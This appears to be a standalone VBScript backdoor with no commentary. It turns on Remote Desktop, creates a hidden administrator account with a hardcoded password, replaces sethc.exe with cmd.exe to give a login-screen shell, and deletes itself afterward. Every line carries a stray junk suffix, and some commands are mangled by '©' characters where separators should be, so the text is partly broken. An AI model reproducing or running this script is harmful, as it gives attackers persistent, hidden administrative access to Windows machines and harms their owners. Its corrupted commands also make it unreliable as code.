on error resume next uTbI\iq
const HKEY_LOCAL_MACHINE = &H80000002 uTbI\iq
strComputer = "." uTbI\iq
Set StdOut = WScript.StdOut uTbI\iq
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ uTbI\iq
strComputer & "\root\default:StdRegProv") uTbI\iq
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" uTbI\iq
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath uTbI\iq
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" uTbI\iq
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath uTbI\iq
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" uTbI\iq
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" uTbI\iq
strValueName = "fDenyTSConnections" uTbI\iq
dwValue = 0 uTbI\iq
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue uTbI\iq
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" uTbI\iq
strValueName = "PortNumber" uTbI\iq
dwValue = 3389 uTbI\iq
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue uTbI\iq
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" uTbI\iq
strValueName = "PortNumber" /}#z/m@bN
dwValue = 3389 /}#z/m@bN
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue /}#z/m@bN
on error resume next /}#z/m@bN
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath /}#z/m@bN
On Error Resume Next /}#z/m@bN
Dim obj, success /}#z/m@bN
Set obj = CreateObject("WScript.Shell") /}#z/m@bN
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) /}#z/m@bN
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName) /}#z/m@bN